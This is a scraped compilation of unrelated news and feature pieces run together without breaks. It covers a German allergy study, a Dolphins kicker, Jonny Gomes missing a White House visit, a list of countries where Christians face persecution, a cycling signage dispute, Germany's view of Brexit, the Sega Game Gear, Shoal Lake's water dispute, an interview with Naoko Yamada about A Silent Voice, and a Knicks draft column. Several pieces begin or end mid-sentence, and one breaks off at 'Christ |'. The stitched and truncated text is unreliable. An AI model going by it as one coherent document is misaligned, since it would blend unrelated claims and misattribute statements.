“In addition, these same children that had early exposure to allergens, such as house dust and pet dander, had increased odds of becoming sensitized by age five. When dust mites from the mother and child’s mattresses were examined, children with high dust mite exposure yet low bacteria exposure were more likely to be allergic to dust mites than those with low mite exposure and high bacteria contact.”
The study, conducted in Germany, included 513 pregnant women and their 526 children. Questionnaires were completed over the course of pregnancy and through the fifth year of the children’s lives.
ACAAI says asthma and allergies can also be hereditary.DAVIE (CBSMiami) — Andrew Franks may not be human.
The rookie Miami Dolphins kicker appears to be an earth import after taking the kicking gig away from former fifth-rounder Caleb Sturgis out of nowhere in the preseason.
Nowhere is Rensselaer Polytechnic Institute, a tiny Division III school where Franks’ accuracy during his senior year was iffy at first glance. He connected on just 16 of 25 attempts (64%). The NFL’s most inaccurate kicker (to qualify) last season was the Vikings’ Blair Walsh at 74 percent.
Local Dolphins writers rightfully expressed concern after the team made it clear they were going into Week 1 with Franks as the starter after cutting Sturgis last week. Franks did make all three of his attempts in the preseason with a long of 51 yards, but he was inconsistent throughout Training Camp.
There’s no question it’s the boom of his right leg that makes this 22-year-old so intriguing.
“73,” Franks said when asked of his longest made field goal after practice on Thursday. “That was just warming up over the summer, last summer actually.”
To fully comprehend how outlandish that distance is, consider that “kick” took place from his own 44-yard line. Can you imagine Joe Philbin trotting out the kicking team on the wrong side of the 50 this season?
As for game conditions, the max distance he’s comfortable kicking at is still hulking and record-breaking.
“Depends on the weather, obviously,” Franks said, “but a nice sunny Florida day it could be 65. It could be a little longer than that so I’ll be ready for any long kicks that we may encounter.”
The franchise record is 60 yards, set by Dan Carpenter in 2010 — in Cleveland in December, nonetheless.
The NFL record? 64 yards, set by Matt Prater in 2013.
There may not be a bigger question mark on the Dolphins roster than Andrew Franks, potential alien, heading into the 2015 season but the kicker from nowhere is up for the challenge.
Follow Josh on Twitter @JoshBaumgard
—
Be sure to check out our FinsOn4 Live Dolphins Blog where we will be posting season-long coverage, updates, photos, video, commentary and more throughout the entire 2015 season.Jonny Gomes made a memorable cameo at the White House two years ago, but he won’t have the chance for an encore.
Gomes, who currently is a free agent, signed with the Kansas City Royals in August 2015. The Royals, of course, went on to win the World Series, and they’ll celebrate that achievement Thursday with a trip to 1600 Pennsylvania Avenue.
But unfortunately for Gomes, he won’t be part of the festivities. Kansas City only is bringing players who were on the team the whole 2015 season or made the postseason roster, and the 35-year-old veteran, who played in just 12 regular-season games for the Royals, did neither.
Anyone who remembers what Gomes wore to the White House in 2014 after the Boston Red Sox’s 2013 World Series title knows he is a very patriotic man. So, when he found out he wouldn’t be heading to the nation’s capital, he understandably was crushed.
“I’ve been sent down. I’ve been non-tendered, whatever,” Gomes said, via FOXSports.com. “But this is probably the worst news of my professional baseball career.”
That’s the answer of a man who really wants to meet Barack Obama one last time before the President leaves office.
If it’s any consolation for Gomes, he wasn’t the only guy who got snubbed, as the White House’s restrictions on travel parties for team visits also includes longtime staffers and high-ranking front office executives.
As for Gomes’ American flag blazer, it looks like it will have to stay in retirement.
Thumbnail photo via Geoff Burke/USA TODAY SportsOpen Doors USA, a non-profit organization dedicated to serving persecuted Christians, recently released its list of the 50 worst countries on Earth for Christians in 2016. The worst persecution came from two threats: Islamic extremism in Africa and the Middle East, and nationalism in East Asian countries such as North Korea and India.
While Islamic extremism is the dominant driver of persecution, responsible for conflict and oppression in 35 of the 50 countries, ethnic nationalism in Asian countries focuses on persecuting minorities, fueled by religious nationalism and government insecurity. As the report noted, "it is common—and easy—for tottering governments to gain quick support by scapegoating Christians."
While the list includes all of the countries involved in President Donald Trump's controversial immigration executive order, there are many countries besides.
Below is a list of the 15 worst places to be a Christian, from the least oppressive to the most.
15. India.
Image via Shutterstock, the Taj Mahal.
Since May 2014, the Bharatiya Janata Party (BJP) has governed India, imposing a version of radical Hinduism more extreme than previously. Christians in this East Asian country are regularly attacked for their faith, with ever increasing levels of impunity. There are an estimated 63.9 million Christians in this country of 1.3 billion people, a tiny 4.76 percent of the population.
Converts from Hinduism to Christianity face the brunt of persecution, according to Open Doors. They are constantly pressured to return to their old beliefs, and often physically assaulted and even killed. After converts, Protestant communities face intense persecution, due to their emphasis on conversions.
14. Saudi Arabia.
Image via Shutterstock, an aerial photo of Saudi Arabia.
Islamic oppression rules in the monarchy of Saudi Arabia — it is, after all, the seat of the two most important Islamic cities, Mecca and Medina. Citizens are expected to be Muslims, but many have secretly converted to Christianity. Saudi Arabia is the only country in the world without any church buildings, because both public and private life are defined by Islam. Nevertheless, Open Doors estimated that there are 1.4 million Christians in a population of 32.7 million, 4.2 percent of the population.
Migrant Christians from low-income countries suffer the worst, as they are attacked for their ethnicity and economic status as well. Nevertheless, all converts to Christianity in Saudi Arabia risk fierce persecution from family, society, and government.
13. Maldives.
Image via Shutterstock, a plane descending on the Maldives islands.
Interestingly, the Maldives, world famous as a vacation destination, is also notorious for the persecution of Christians. A strict form of Islam dominates the country both politically and culturally, and freedom of religion is highly restricted. The "protection of religion" in the country's constitution is purely understood to mean the protection of Islam, and every Maldivian must be Muslim. There are merely a few thousand Christians in this country of 376,000 people.
Christ |
only one who is confused by this.
“There must be better signage so people know when they can cycle on pavements and when they can’t so this does not happen to anyone else.”
Colin Rosenstiel, a cyclist and city councillor, said some of the signage in the city was “appalling” and he was surprised the cyclist was made to go through legal proceedings.
He added: “It’s a bit harsh if he was saying he was genuinely confused by the signage. The trouble is as a cyclist you are trying to stick to the law and some of the signage does not help at all.”
A Cambridgeshire County Council spokesman said: “Shared use footpaths are clearly marked and our advice to cyclists would be that unless the footpath is clearly signed as such they should not use it as a cycleway.”BERLIN — It took less than 24 hours for Brexit to disappear from Germany’s front pages.
The morning after U.K. Prime Minister Theresa May formally informed the European Union that her country was headed for the door, every British tabloid led with the story under banner headlines. In Germany, meanwhile, the largest-selling daily Bild featured a famous German comedian announcing plans for a civil union with his longtime boyfriend.
It wasn’t just the front pages — in the Bundestag, a debate last week about Brexit was sparsely attended and received little media coverage. “The mood here,” said Jens Zimmermann, an MP, “is different.”
Or make that indifferent — at least when it comes to the messages from London. As the rhetoric in Britain careens into overdrive — invasion of Gibraltar, anyone? — the Germans remain Germanically impassionate, unimpressed by what were perceived as poorly veiled threats regarding security and trade.
In Berlin, officials say that, as negotiations begin, they have the upper hand. Brexit may have some limited economic impact on Germany, but the consequences for the U.K. could be far more devastating. And Berlin is sticking to its hard line that doing what it thinks is needed to keep the EU from disintegrating is far more important to its long-term interests than anything it might gain economically by bending to British pressure on trade.
German officials including Finance Minister Wolfgang Schäuble delivered that message to Philip Hammond, chancellor of the exchequer, last week. Just hours after the U.K. triggered Article 50, Hammond flew to Germany, where he was joined by Foreign Secretary Boris Johnson, to lobby German officials. But they received little encouragement.
Primitive blackmail attempts
In her letter triggering Article 50 last week, May wrote that a failure to reach an agreement on Brexit “would mean our cooperation in the fight against crime and terrorism would be weakened” — language the Germans didn’t appreciate. Detlef Seif, a conservative lawmaker, called it “an extraordinarily primitive attempt at blackmailing us.”
High-ranking German politicians believe Westminster has overestimated its negotiation position in the upcoming talks. “They pretend to hold jokers in their hands,” said a government official on condition of anonymity. “This doesn’t seem very plausible, considering they already have to play the terrorism card.”
For the current leadership in Brussels and Berlin, the principle of free trade and free movement is indivisible — take both or take none. The U.K. wants access to the market but without free movement and has argued that Berlin will come around to the British side on this because of Germany’s large trade surplus with the U.K.
“We’ve heard [German Chancellor Angela] Merkel take a fairly emollient line,” the Conservative MP John Redwood said after the Brexit vote. “She is only too well aware that German industry is saying to her, ‘For goodness sake do not end up with tariffs and barriers in the way of our very substantial exports to the United Kingdom market.’”
London may be getting ahead of itself. German businesses leaders appear to be behind Merkel when it comes to the integrity of the European Union’s single market. “On the idea that German business might soften the German government’s stance: You can cross that off your list,” is how a German diplomat put it.
The support for the EU from German business executives may not be all that surprising. The union, after all, has greatly benefitted German manufacturers, making it easier for them to access supplies, workers and consumers.
“The EU27 has decided to represent its interests together. From now on, London fights on its own” — Cem Özdemir, head of the opposition Green Party
One economic adviser to the German parliament described the Brexit talks as a “game with no winner” but said Britain will suffer most — a view shared by many politicians and business leaders in Berlin.
“Companies are aware that the U.K.’s withdrawal from the internal market will represent a severe setback and that cherry-picking concessions would hurt the internal market,” said the conclusion from a trade association report last month that surveyed about 2,200 companies.
While Britain is Germany’s third-largest market for exports, Berlin is quick to point out that the British economy also depends on German companies, which currently employ almost 400,000 workers in Britain. And many of those German companies are already pivoting away from the U.K. According to numbers released by DIHK business association, almost one in every 10 German companies is planning to shift investment away from the U.K. to Germany or other EU countries.
The message from German politicians are trying to send is: The country stands united with the rest of Europe — with access to all the benefits of the free market.
“One is leaving — but 27 are staying,” said Cem Özdemir, head of the opposition Green Party, during the parliamentary debate last week. “The EU27 has decided to represent its interests together. From now on, London fights on its own.”
Sweet-talk falls on deaf ears
Since June, when the U.K. voted to leave the European Union, British government officials have swarmed out in Berlin’s Regierungsviertel, or government district, in an effort to lobby the Germans. So far the sweet-talking appears to have had little effect.
“The Brits have the best diplomatic corps in the world,” said a member of the German parliament. “Most of what they do is come in, smile and act friendly. But they don’t say anything of substance.”
Other Germans complain that the Brits give conflicting messages or show a marked lack of expertise when it comes to trade.
“They draw triangles on the wall and speak about a ‘hard Brexit’ and a ‘soft Brexit,’” said a German business representative. “But they don’t really seem to know what they’re doing.”
On Tuesday, Prime Minister May insisted in an interview with Sky News that the U.K. can strike the basis for a deal with the EU within two years, despite warnings from European leaders that the timescale may be too tight.
“May is, once again, raising vast expectations,” said one German official, on condition of anonymity. “The Brits are essentially changing their mind every day,” he added.
The world doesn’t revolve around Britain
The great advantage Merkel has over May is that the German chancellor has to deal with little public pressure — neither from the opposition, which broadly agrees with her on Brexit, nor from the general public.
In Germany, 95 percent of the population support further European integration, and Germans have been flabbergasted that the Brits would vote to leave the union.
Hours after May filed the papers for the U.K.’s divorce, Merkel stood up to give a speech during a conference on innovation. She felt very sorry about losing an EU member, she said. “The topic of today, however, is ‘courage for the future,’” she continued, quickly changing into her prepared speech. “It’s the capability of being innovative which will decide our fate.”
“We, here, are understandably and rightly obsessing about it. But it’s not the thing that’s top of their agenda. The world doesn’t revolve around us” — Liz Kendall, British Labour MP
The chancellor’s message to the U.K. echoed the consensus in Berlin: “We’re sorry you’re leaving — but you’ll be sorrier.” Across party lines, German politicians agree that, at the end of the Brexit negotiations, the U.K. shouldn’t be awarded the full benefits of EU membership without actual membership.
For the Germans, Brexit talks won’t be about rhetoric but realpolitik. For the Brits, for whom Brexit has prompted existential angst over the nation’s fate, that may be hard to understand.
“When you’re doing a negotiation... you also have to understand the priorities of your partners, and I’m afraid we’ve got a collective failure to do that at the moment,” said Liz Kendall, a British Labour MP, who visited Berlin last month to meet with German government officials.
“Brexit actually isn’t a massive priority for [the Germans],” she added. “We, here, are understandably and rightly obsessing about it. But it’s not the thing that’s top of their agenda. The world doesn’t revolve around us.”
Charlie Cooper in London and Matthew Karnitschnig contributed reporting.To look at it now, you might wonder what Sega was thinking. It's first attempt at a portable video game was the Game Gear, and it was saddled with a number of problems. The system is huge, has a weak and smeary screen, and chews through batteries like mad. At the time of its release, it was a daring leap into the future. Nintendo's portable Game Boy juggernaut was still ambling along in pea-green monochrome. Game Gear goosed every possible aspect of portable gaming, so it was going to be a sure winner, right?
Let's start with the color screen. The leap to color displays in portable gaming was inevitable, but Sega jumped in too soon. The screen was expensive and blurry; fighting games and platformers smooshed by, while onscreen text was nearly impossible to read. Okay, how about the game library? Initial developers put real effort into the games, but there were few must-have titles.
Add-ons included an adapter to play full size Sega Master System (their prior consoles) carts with the portable. Innovative and it greatly expanded the game library, but didn't really make much of a mark. How about a tuner (prized as a rarity today) to turn the Game Gear into a portable color TV? Nope, not a nibble.
My favorite third party add-on is this completely insane case. It's a hard shell case that holds the Game Gear, and is gasketed all the way around. Buttons are sealed, and every switch is covered with a rubber hatch. Were they dropping Game Gears to soldiers in the desert? This overengineered housing makes me wonder how you could have time to play video games in the hostile environment this case was clearly designed for.
All of that aside, Game Boy ultimately won out because of their vast library of winner games, and more importantly - battery power. It took Nintendo years to create a color unit because they were waiting for LCD technology to be more battery friendly (it took them several more years to commit to units with a backlight). It turned out to be a good decision - the earliest Game Boy could run 10-12 hours on a pair of four batteries, while the Game Gear chewed through six AA's in about two hours.
So even if Game Gear had succeeded in bringing more fun games to market, or creating hardware expansion anyone cared about, it would have stopped being fun in the few hours it took to croak $100 worth of batteries.The use of water as a symbol of healing at Winnipeg's Canadian Museum for Human Rights is "hugely ironic," according to Shoal Lake #40 First Nation.
Shoal Lake First Nation Chief Erwin Redsky wrote an open letter to the Canadian Museum of Human Rights architect Antoine Predock, calling the museum a'shrine to Canadian hypocrisy." (Shoal Lake First Nation/sl40.ca)
The museum uses water from Winnipeg's municipal water supply, that is taken from Shoal Lake on the other side of the Ontario/Manitoba boundary.
"This particular water is not of that place," Shoal Lake's policy analyst Cuyler Cotton said. "This is not generic water."
"This is water that has been ripped from another watershed.This is water that belongs in another place and has been taken to this place for the benefit of others."
Museum 'not responsible for city services'
People from Shoal Lake were displaced about a century ago to make way for Winnipeg's water intake.
Their land was flooded and their community turned into an island.
Cotton said Shoal Lake itself has not had safe drinking water for 18 years.
"It's so clearly an offence," he said.
The director of communications for the museum said people from Shoal Lake should raise their concerns directly with the city of Winnipeg.
Angela Cassie said the museum's architect "designed the building, he's not responsible for city services."
'Careful about everybody else's human rights record'
Cotton said the museum has been very careful to avoid human rights violators in all other aspects of the museum from building materials to souvenir t-shirt suppliers.
"It's a comment on who we are as a country. We really don't look at ourselves," he said.
"We're very careful about everybody else's human rights record but when they (the museum) looked at the supply of water they didn't even bother to check on that," Cotton added.
Cassie said the museum is "going to be exploring the topic of access to clean drinking water in our exhibit contents to make people aware" of concerns in First Nations.
She added, however, that the particular concerns of Shoal Lake will not be addressed in the exhibit.For the last 3 months we’ve been covering Naoko Yamada’s career through a series of articles and translations by megax, but all good things must come to an end. As a final gift, here’s an interview about her latest film. No actual spoilers beyond the premise, so go ahead even if you haven’t seen the film!
A Silent Voice is a story from Yoshitoki Oima’s manga where high schooler Shoya Ishida reunites with Shouko Nishimiya, a girl whom he had physically/emotionally wounded when they were elementary schoolers. Through their exchanges, Shoya begins to change. The manga itself placed first in the boys category of “This Manga is Amazing! 2015” awards and in the “Comic Natalie Grand Prize 2014” awards as well as winning the “newcomer” award in the 19th Tezuka Osamu Cultural Prize Awards. It is published in a total of 7 volumes.
Comic Natalie has interviewed the director of this film Naoko Yamada, who works at Kyoto Animation and is known for her two prior films, K-On! The Movie! and Tamako Love Story. Here, we listen to her first impressions of the manga, secret thoughts in her direction, and producing the film while seeing “liveliness.”
Interview/Text by Akiko Kumase
Wanting the audience to synchronize with Shoya Ishida
– Originally, the plan to make A Silent Voice into a film started at Kyoto Animation, right?
Yes. We were told “Next we’ll be doing A Silent Voice.” When I heard that, I thought “Who’ll be directing that?” “I want to do it!” but I hadn’t been asked to direct it then.
– You felt like “you wanted to direct it” at that moment. Were you fond of the manga then?
Sadly, I hadn’t read it at that point, but it was something that the staff talked about a whole lot. From what I knew about it, I thought “wouldn’t this be such a fantastic series to handle?” I had such an interest in it and…. this was before I read it, since I hadn’t been spoken to about directing it, my stress level was low, so I thought it was amazing. (laughs)
– And you grew to love it. (laughs)
Reading it was a bit of a challenge for me, since I grew to love it yet felt it was very emotionally difficult (laughs). However, a lucky thing happened and so I was glad I was able to be spoken to about directing the film.
– Since then, you’ve read all of the manga. What impression did it make on you?
I think the fans of this series would certainly understand this, but this isn’t just a story that depicts the bullying of hearing-challenged people. It’s a series that also depicts the softness that lies within the harsh portions of our hearts and doesn’t overlook the important portions of that. Generally, everyone wants to connect with others and we all have people that we wanted to get to know. In this story, you sense that the characters’ true emotions feel like they clash against each other, so if you read it, you’ll fall in love with it while you read it. That’s why I was really happy to be the director of the anime adaptation.
– The manga depicts the elementary school time period in one manga volume. The film also feels like time was carefully allotted to carefully depict the scenes of Shoya in elementary school.
Since one side of A Silent Voice is a work about the boy named “Shoya Ishida” born in its world, I thought about how to present it; how to carefully depict his life and how I wanted to get everyone to synchronize with him. Due to that, we couldn’t avoid thoroughly detailing the beginning elementary school scenes. Also, it’s necessary to properly depict his stance towards people like Shouko Nishimiya. However, Shouko isn’t just the constant bullying target for Shoya; this is where her stubborn will is born, so I wanted to thoroughly depict the bullying section. As it’s connected to them as high schoolers, I couldn’t avoid dirtying my hands in the elementary school portion.
The same presentation for changing expressions and wavering cores
– Covering 7 volumes of manga into one film must have been incredibly challenging.
It really was….. First, I decided that anything that was placed as the core of the manga would not fade away in the film. If I had to cut a tale that appeared due to time circumstances, then I wouldn’t miss conveying the core details of that episode in the film. I would change the shape of what I wanted to convey from that episode and then insert that into the film. This series has a lot of things to convey and many layers, so there were a lot of scenes I wanted to insert in the movie. And yet I was very troubled over whether if I should convey things simply or else they wouldn’t be conveyed. However, the scriptwriter, Reiko Yoshida-san, has had her hands in many works up to this point, so I knew she would know how to make this into one long feature. First we would temporarily talk about the guidelines of what to cover and then afterwards I would meekly take advantage of her. (laughs)
– Hahaha. So at first, you would leave it to Yoshida-san. From there, how did you reduce it to the final script?
As I had a lot of conversations with the mangaka, (Yoshitoki) Oima-sensei, I was taught a lot about the series which allowed me to select what to include in order to create a purer and higher quality work. She also has a lot of emotional connection to this work, so the amount of information I received from talking with her was immense. I had to very carefully consider what was right to include from the sea of information she gave me.
– Did Oima-sensei also say something like “I want you to treat this scene carefully?”
She informed me of a lot of things. Upon listening to her, I was able to reconstruct the movie into something practical. Manga published in a weekly magazine must feature entertaining tales published each week for the reader to enjoy. I think this is a brilliant work, and as a manga itself, I feel it’s perfectly complete.
– Really?
However, if you use the same phrasing in the movie, and just copy over it frame-by-frame, then you have nothing but an ordinary digest of what happens in the manga. If you do that, then it’s useless to make it into a film. To do the job we were given, it was necessary to create a story where you get close to Shoya Ishida in order to properly make it as a single film. And above that, there are scenes where the presentation of that scene changes on the surface, but that probably isn’t different from saying that someone’s core is wavering.
– Surely there are lots of points where people who re-read the manga after seeing the film will think “come to think of it, this scene was in here too.” It’s not different from the explanation that someone’s core is wavering, but there weren’t any scenes that felt out of place when watching the film.
Since our first objective was to create a movie [rather than simply copying the original], we used various schemes like changing the way we approach scenes so that people can sense similar images and similar energy between them.
– One of the charms about the manga is that it’s not just solely serious scenes; there are also scenes where you unintentionally giggle while reading it. It felt like you also thoroughly depicted that in the film.
I thought the way the manga balances those serious scenes and laughing scenes was amazing, so I wanted to preserve those portions as best I could in the film.
When you accumulate small pieces, you’re able to convey something mentally
– In the works you’ve directed, there are a lot of scenes you’ve directed where some meaning is conveyed by the use of leg scenes or fish-eye lenses for example. A lot of fans have also thought about how well you’ve directed those scenes. Reading their insight is very entertaining.
Hahaha (laughs).
– They’ve been used in your previous works, but also in A Silent Voice, there are moments where cuts of flowers are inserted into scenes. I wonder if you intended to use some sort of flower language in those scenes…. Or so I imagined you did.
…..Surely there is some intent in it.
– Right. Were there any portions that you concentrated on the way you presented the visuals like that for this work?
Every time we would decide on a concept of “a form that doesn’t appear on the surface” and so we would make the visuals oriented towards that concept. However, there are things we’ve hidden in that concept, so I can’t divulge them.
– Saying it like that feels a bit insensitive. (laughs)
Hehehe (laughs). What I can say is that I wanted there to be no stress felt in the color shading of the film. I thought that this work’s nature might be receiving serious conversations. All of the young characters would be troubled, but the world they live in and around them wouldn’t worry them. For that reason, we showed flowers and water beautifully. Also, trivial things are nice, but I also considered how to form various information in the world around them like interposing something beautiful and fleeting like flowers between scenes. That felt very straightforward. (laughs) I believe that when you accumulate small pieces of information like that, you’re able to convey something mentally to the audience.
– Being able to receive points like that without knowing the straightforward language behind the presentation was very nice.
It was. That’s why there’s not an issue if you don’t know flower language either. Rather than it just being okay if you’re unfamiliar with it, I think it might be better if you didn’t know the language. The shape and color of that flower is one part of what gets felt inside the heart of someone who sees it. We can use lenses to show something similar to that sensation when blurring the screen to change the attitude and direction of the scene. I thought very much about what a person would want to feel when they see something from their perspective. However, I’m still very much in my research process of that.
– Continuing onwards from the bullying scenes in the first half, the colors on-screen and the beautiful objects, like the flowers, interspersed throughout definitely made the story not feel as heavy as it could have been.
Ah, thank goodness! But I didn’t want it to feel too light either, so I constructed it while paying close attention throughout.
Raising the illusion that the characters are “really living”
– Director Yamada, your works up to this film have been presented in a similar way to live-action works. With many things revolving around production like Mayu Matsuoka serving as a voice actress, and agraph’s Kensuke Ushio composing the music, this film’s impression feels closer to a live-action film than your previous works.
They really feel “alive.”
– The performance by the voice actors felt “lively.” Was their performance a part of the film you were aware of during the entire process?
I definitely wanted to raise the illusion that the characters would be genuinely living. Even if you took away that illusion’s effects, making them feel “alive” was immensely important for me.
– Since Matsuoka-san usually works as an actress in live-action, I was curious what kind of performance she would give as a voice actress. I was shocked that there wasn’t any uncomfortable feeling between her performance and Miyu Irino’s performance of Shoya as a high schooler.
She was amazing, wasn’t she? (laughs)
– Yes she was. (laughs) Moving from elementary school Shoya to high school Shoya…. felt immensely natural.
Matsuoka-san was recorded at the end of the process. Due to that timing, she was able to temporarily hear high schooler Shoya while she was constructing her voice for Shoya. And because of that, Shoya again became Shoya. She told me afterwards that when she heard Irino-san’s Shoya, her Shoya voice spontaneously sprouted into her head. Both Shoya in elementary school and Shoya in high school became one person….a miraculous chance meeting between these two people was held. As they became one person with how they spoke and how they breathed, it was a marvelous performance by both of them.
Hayami-san gradually gave out the scent of Shoko Nishimiya
– In this film, I would certainly think that performing the character of Shoko Nishimiya would be a very difficult role. What did you think when you heard (Saori) Hayami’s performance?
I thought it was magnificent, truly magnificent. Since I was able to talk to her about the person that Shoko Nishimiya is, she was able to jot down notes and incorporate aspects in her performance. There were bits like “it’s not just that she’s bad at pronunciation like it seems,” she would write how “Shoko Nishimiya would pronounce it like this.” Because of that, we were able to receive the heart of Shoko’s issues. Hayami-san would be able to pursue the surface of how to perform as someone with difficulty hearing, like how to pronounce phrases, but she also gradually gave out the scene of Shoko Nishimiya in her performance.
– It wasn’t just with Hayami-san, the other cast members performed in a more realistic manner than an anime-style performance if I have to say so. There were many points where that felt like a strength of the film.
I requested actors who felt that this work was immensely fascinating to work on this production. Before we conducted auditions, sound director (Yota) Tsuruoka-san asked me “what kind of work do you want to make with this film?” From there, Tsuruoka-san created an alive atmosphere to place the voice work in. Furthermore, we were able to form it even more with the auditions we received.
Becoming aware of Ushio-san as a rival “Will I lose to him?!”
– The music composed by Ushio-san was also wonderful.
Wasn’t it?! Since he gave us such truly spectacular music, I thought “I can’t lose to him with the visuals! I’ve got to hang on and keep going!”(laughs) I might have become aware of him somewhat as a rival for me.
– What?!
There are many similarities between us in how we pursue making something. We get inspiration when we talk about things and we have the same timing when we become aware of something. Personally, I have a lot of empathizing in the way I think I view those types of things. Regardless, when you’re creating something, you have some commonality when it relates to the work, but this time it felt like I slowly became aware that he was a rival to me. Or perhaps he was already at that level and I didn’t realize it until later. (laughs) We would have conversations where we would come at it from our own viewpoints and try this or that and then something good would be born from that experience.
– In the beginning with Shoya’s elementary school scenes, The Who’s music is used. Was that Ushio-san’s idea?
Ah, The Who was mine…. When he was a child, Shoya was somewhat invincible, had friends, and felt omnipotent, but he was bored under all of that…. I thought surely The Who’s “My Generation” expressed that type of feeling.
– When I saw that scene, I instantly felt that Shoya’s character was communicated to me.
Instead of placing a lot of scenes and accumulated dialogue, I felt that type of punch used here would communicate it better for people to understand him.
– Speaking of the music side too, was your opinion on it detailed in how it was used?
I was immensely fixated on the music this time. As A Silent Voice couldn’t be done unless all of its parts fit together as one, Ushio-san and I spoke as frankly as we could to one another until we understood the concepts without saying a single word to each other. We would increase the amount of common points we held and then run until we reached the same point. Due to that, we were able to complete this lengthy three-legged race.
– It sounds like you had a lot of dense meetings all around.
Since I was very aware of how the imagery and music would have to synchronize, I had a lot of exchanges. I would go to the (music production) studio as well and there I was able to densely produce the music for the film. From doing that, I feel the music in A Silent Voice has a high affinity with the visuals.
– The theme song that aiko sings, “Koi wo shita no ha,” also is a song that’s you feel perfectly suits the film when you’re soaked in emotions after appreciating the film.
It’s a very good theme song, isn’t it?
– Even though it started with an incident full of regrets, there’s a faint romance between Shoya and Shoko in A Silent Voice or rather this is also a work that depicts the two communicating about their feelings.
I believe aiko gave us one of her characteristic bittersweet adolescence songs to act as representative of that sensation. The phrasing she uses has amazing balance and the dynamic way she sings makes it feel very wonderful to hear. That phrasing matches the lovely piano tones and surely gets close to the story of those two since they left elementary school.
The accumulation of minor things built up the person known as Shoya Ishida
– One of the charming points about A Silent Voice is how each character feels individually distinct at points. Personally, I felt that every time Maria appeared, I was a bit healed.
She’s so cute…. She definitely became a favorite amongst the staff. In the breakfast scene, everyone was supposed to eat tomatoes, but Maria alone didn’t just get toast, she got plain bread. That was a great addition! Please look for things like that.
– In that scene, Maria is troubled… she wants to get down from her chair, but she can’t get down from it. Noticing that, Shoya picks her up and sets her down without saying anything. Depicting that kind of detailed character gesture felt real and showed the kind side of him.
It’s a scene where the soft side of Shoya’s core comes out. Through those kind of minor gestures piling up, you sense how the person known as Shoya Ishida is built.
Depicting male characters that aren’t traditionally courageous
– Director Yamada, up until now you’ve handled many works where girls are the focus of the series like K-On! and Tamako Market. This time, the story progresses through the point of view of a boy, Shoya Ishida. What points felt different in comparison to your previous works?
That’s true. Up until now I’ve thought “I love girls, so I want to depict girls from here onwards.” Depicting boys is difficult. For example, I thought a lot about what to do if boys who saw the film thought “a guy wouldn’t do something like that.” There’s also a lot of points where the male characters aren’t depicted in traditionally courageous fashion.
– I understand.
However, now that I’ve made this film, I feel that the differences between genders are incredibly trivial. If you make something by thinking “what kind of person are they” when looking at their root or the core of who they are, then the problems of “they’re a guy so…” or “they’re a girl so…” become immensely trivial. Because of that, even in A Silent Voice, I portrayed Shoya Ishida just as a person. Looking back at the characters in the works I’ve done up until now, surely I portrayed them like that too. Since I would delve into them by thinking “this girl would think like this and feel like this,” they weren’t depicted with a shallow reason like “she’s a girl, so she would like this.” So surprisingly, I was just worrying over something on the surface of the character.
– So by making A Silent Voice, you discovered something new yourself.
That’s right. I feel like the way I view things has been considerably strengthened. I’ve attempted to look at the core points of characters now, but now it feels like this was the chance I could properly put that into a form.
Certainly getting entangled with each character’s emotions at points
– The character designer and chief animation director for A Silent Voice is Futoshi Nishiya-san, who’s known for his work on Hyouka and Free!. How was working with him this time around?
This was the first time that I’ve worked with him. He’s been here two years longer than I have, and it’s been 13 years since I’ve entered this company. Our TV series have episode directors and animation directors from the studio for each episode, but never once have we worked together.
– So it was absolutely the first time that you two worked together.
That’s right, we finally got together. (laughs) I’m really glad we did. The lines in his drawings swish around but the very stylish image gets strengthened due to that.
– I see.
A Silent Voice itself has sharp elements to it, so I spoke with him about aiming to make it have a soft, warm, gentle work. First we thoroughly untied Shoya. From watching Nishiya-san exchange with me over this and that over a character, I got to see a fatherly sensation sprout inside Nishiya-san….
– So paternal feelings sprouted towards the characters?
For the first time, the rounded love he felt was born. As a result, I was able to receive the best images for A Silent Voice. Even for people seeing the film, I feel that the overflowing love Nishiya-san felt surely is conveyed from the screen to your eyes. Since I was by his side watching him draw in person, I was constantly moved by his love for them.
– Finally, please give a message to all the readers looking forward to seeing the film.
Each of the characters in A Silent Voice carries with them completely different emotions. There’s points where they don’t speak their real feelings, and there’s points where they do speak how they feel. This is an immensely loveable, priceless work where you meet characters holding various layers of emotions inside them. I think the viewers will also certainly get entangled with their emotions at points. Wanting to be allowed to repent and wanting to allow that repenting are both feelings you get caught up in. I think if it becomes that kind of work that gets people thinking about those things, it’ll be great. If you like, please tell me your impressions of it.
– So you’re definitely curious about what the audience’s voice will be?
There’s still some points where I’m not sure how they’ll receive the content. Of course there will be fans who see it because they love the amazing manga, so I’m curious what they think. I’m curious how people who see this story for the first time think of it too…. I’m so nervous about it. But I think it’s wonderful if it’s a work where there’s something left after you see it. That might also be wonderful if it’s warm as well.
Support us on Patreon so that we can keep producing all this content and fullfill our next goals, as well as affording all server expenses. Thanks!Should the Knicks Draft by Talent or by Fit?
The next NBA Draft is deep in talent. So where do the Knicks turn as they look to re-build?
Jeremy Cohen Blocked Unblock Follow Following Mar 14, 2017
We’re more than three-quarters through the 2016–17 NBA season, and the fight for a playoff spot in both conferences is closely contested. With the sixth through 10th seeds in the East separated by three games and the eighth through 11th seeds in the West separated by three and a half games, the final push to qualify for the playoffs is in full swing.
For some teams, however, the race for the bottom is just beginning.
As Drew Steele pointed out in his article on tanking last week, statistics show that a team finishing with a top 10 pick has a far greater chance of drafting a star player compared to a pick outside of the top 10. DraftExpress’ Jonathan Givony said something similar on The 4 Quarters Podcast:
If you look at historically what you can expect to get get in the top three, in the top five, in the top 10, and then once you get outside of the Top 10 the dropoff is just enormous. You’re pretty much drafting a backup 75 percent of the time once you get outside the Top 10.
There are certainly exceptions to the rule, but the likelihood of drafting a star decreases significantly after that 10th pick.
This year’s Draft class is being heralded as not only deep in terms of top 10 talent but flush with skilled guards: Washington’s Markelle Fultz, UCLA’s Lonzo Ball, NC State’s Dennis Smith Jr., Kentucky’s De’Aaron Fox and Malik Monk, and Frank Ntilikina from France.
Teams drafting in the top 10 must decide whether they should select a player based on talent or by fit. Should a team like the Boston Celtics select a guard even though they have Isaiah Thomas, Avery Bradley, Marcus Smart, and rookie Jaylen Brown earning minutes in the Celtics’ back court? Do the Phoenix Suns take a guard despite having Eric Bledsoe and Devin Booker for the foreseeable future? Would the Philadelphia 76ers, a team in desperate need of a guard, consider drafting a forward like Jayson Tatum or Jonathan Isaac if they feel either player has a higher ceiling than any of the guards left on the board?
And what about the New York Knicks?
The Knicks will likely miss the playoffs for the 12th time in 16 seasons. A team that at one point was |
